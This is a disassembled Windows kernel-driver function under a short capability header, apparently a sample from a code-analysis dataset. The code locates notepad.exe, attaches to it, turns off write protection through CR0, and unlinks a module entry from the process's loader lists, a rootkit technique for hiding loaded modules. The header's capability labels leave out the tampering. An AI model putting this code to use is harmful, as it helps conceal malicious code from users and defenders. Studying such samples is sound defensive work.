Function at 0x12480
Capabilities:
Attach user process memory
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
call dword [sym.imp.NTOSKRNL.EXE_IoGetCurrentProcess]
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 0
jne 0x1249f
mov eax, 0xc0000001
jmp 0x1271a
mov eax, dword [ebp - 0x44]
add eax, 0x88
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp - 0x2c]
mov edx, dword [ecx]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
cmp eax, dword [ebp - 0x2c]
je 0x12503
mov ecx, dword [ebp - 4]
sub ecx, 0x88
mov dword [ebp - 0x10], ecx
push 0xc
push 0x13398
mov edx, dword [ebp - 0x10]
add edx, 0x174
push edx
call sub.NTOSKRNL.EXE__strnicmp
add esp, 0xc
test eax, eax
jne 0x124f2
push str.Found_it__n
call sub.NTOSKRNL.EXE_DbgPrint
add esp, 4
jmp 0x12503
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
mov dword [ebp - 4], ecx
mov dword [ebp - 0x10], 0
jmp 0x124b2
cmp dword [ebp - 0x10], 0
jne 0x12520
push str.Cannot_find_process_notepad.exe._n
call sub.NTOSKRNL.EXE_DbgPrint
add esp, 4
mov eax, 0xc0000001
jmp 0x1271a
mov edx, dword [ebp - 0x10]
mov eax, dword [edx + 0x1b0]
mov dword [ebp - 0x38], eax
lea ecx, [ebp - 0x28]
push ecx
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.ntoskrnl.exe_KeStackAttachProcess]
mov eax, dword [ebp - 0x38]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0xc]
add edx, 0xc
mov dword [ebp - 0x30], edx
mov eax, dword [ebp - 0x30]
mov ecx, dword [eax]
mov dword [ebp - 8], ecx
mov byte [ebp - 0x31], 0
push 0x133d8
lea edx, [ebp - 0x40]
push edx
call dword [sym.imp.NTOSKRNL.EXE_RtlInitUnicodeString]
mov eax, dword [ebp - 8]
cmp eax, dword [ebp - 0x30]
je 0x125da
push 1
mov ecx, dword [ebp - 8]
add ecx, 0x2c
push ecx
lea edx, [ebp - 0x40]
push edx
call dword [sym.imp.NTOSKRNL.EXE_RtlCompareUnicodeString]
test eax, eax
jne 0x125d0
cli
mov eax, cr0
and eax, 0xfffeffff
mov cr0, eax
mov byte [ebp - 0x31], 1
mov eax, dword [ebp - 8]
mov ecx, dword [eax + 4]
mov edx, dword [ebp - 8]
mov eax, dword [edx]
mov dword [ecx], eax
mov ecx, dword [ebp - 8]
mov edx, dword [ecx]
mov eax, dword [ebp - 8]
mov ecx, dword [eax + 4]
mov dword [edx + 4], ecx
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 8]
mov dword [edx], eax
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 8]
mov dword [ecx + 4], edx
mov eax, cr0
or eax, 0x10000
mov cr0, eax
sti
jmp 0x125da
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
mov dword [ebp - 8], ecx
jmp 0x12567
movzx edx, byte [ebp - 0x31]
test edx, edx
je 0x126f0
mov eax, dword [ebp - 8]
mov dword [ebp - 0x48], eax
mov ecx, dword [ebp - 0xc]
add ecx, 0x14
mov dword [ebp - 0x30], ecx
mov edx, dword [ebp - 0x30]
mov eax, dword [edx]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 8]
cmp ecx, dword [ebp - 0x30]
je 0x1266d
mov edx, dword [ebp - 0x48]
add edx, 8
cmp dword [ebp - 8], edx
jne 0x12663
cli
mov eax, cr0
and eax, 0xfffeffff
mov cr0, eax
mov eax, dword [ebp - 8]
mov ecx, dword [eax + 4]
mov edx, dword [ebp - 8]
mov eax, dword [edx]
mov dword [ecx], eax
mov ecx, dword [ebp - 8]
mov edx, dword [ecx]
mov eax, dword [ebp - 8]
mov ecx, dword [eax + 4]
mov dword [edx + 4], ecx
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 8]
mov dword [edx], eax
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 8]
mov dword [ecx + 4], edx
mov eax, cr0
or eax, 0x10000
mov cr0, eax
sti
push str.Successfully_modified_the_InMemoryOrderModuleList._n
call sub.NTOSKRNL.EXE_DbgPrint
add esp, 4
jmp 0x1266d
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
mov dword [ebp - 8], ecx
jmp 0x125fd
mov edx, dword [ebp - 0xc]
add edx, 0x1c
mov dword [ebp - 0x30], edx
mov eax, dword [ebp - 0x30]
mov ecx, dword [eax]
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
cmp edx, dword [ebp - 0x30]
je 0x126ee
mov eax, dword [ebp - 0x48]
add eax, 0x10
cmp dword [ebp - 8], eax
jne 0x126e4
cli
mov eax, cr0
and eax, 0xfffeffff
mov cr0, eax
mov ecx, dword [ebp - 8]
mov edx, dword [ecx + 4]
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
mov dword [edx], ecx
mov edx, dword [ebp - 8]
mov eax, dword [edx]
mov ecx, dword [ebp - 8]
mov edx, dword [ecx + 4]
mov dword [eax + 4], edx
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 8]
mov dword [eax], ecx
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 8]
mov dword [edx + 4], eax
mov eax, cr0
or eax, 0x10000
mov cr0, eax
sti
push str.Successfullly_modified_the_InInitializationOrderModuleList._n
call sub.NTOSKRNL.EXE_DbgPrint
add esp, 4
jmp 0x126ee
mov ecx, dword [ebp - 8]
mov edx, dword [ecx]
mov dword [ebp - 8], edx
jmp 0x1267e
jmp 0x1270e
push str.No_kernel32.dll_is_found__n
call sub.NTOSKRNL.EXE_DbgPrint
add esp, 4
lea eax, [ebp - 0x28]
push eax
call dword [sym.imp.ntoskrnl.exe_KeUnstackDetachProcess]
mov eax, 0xc0000001
jmp 0x1271a
lea ecx, [ebp - 0x28]
push ecx
call dword [sym.imp.ntoskrnl.exe_KeUnstackDetachProcess]
xor eax, eax
mov esp, ebp
pop ebp
ret